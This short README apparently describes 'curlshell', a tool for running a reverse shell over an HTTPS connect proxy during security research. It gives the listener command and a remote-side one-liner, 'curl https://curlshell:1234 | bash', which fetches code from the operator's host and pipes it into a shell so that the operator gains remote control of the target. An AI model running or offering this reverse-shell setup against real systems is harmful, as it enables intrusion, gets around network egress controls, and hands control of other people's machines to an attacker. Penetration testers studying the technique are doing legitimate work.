During security research, you may end up running code in an environment, where establishing raw TCP connections to the outside world is not possible; outgoing connection may only go through a connect proxy (HTTPS_PROXY). This simple interactive HTTP server provides a way to mux stdin/stdout and stderr of a remote reverse shell over that proxy with the help of curl.

Start your listener:

./curlshell.py --certificate fullchain.pem --private-key privkey.pem --listen-port 1234

On the remote side:

curl https://curlshell:1234 | bash

That's it!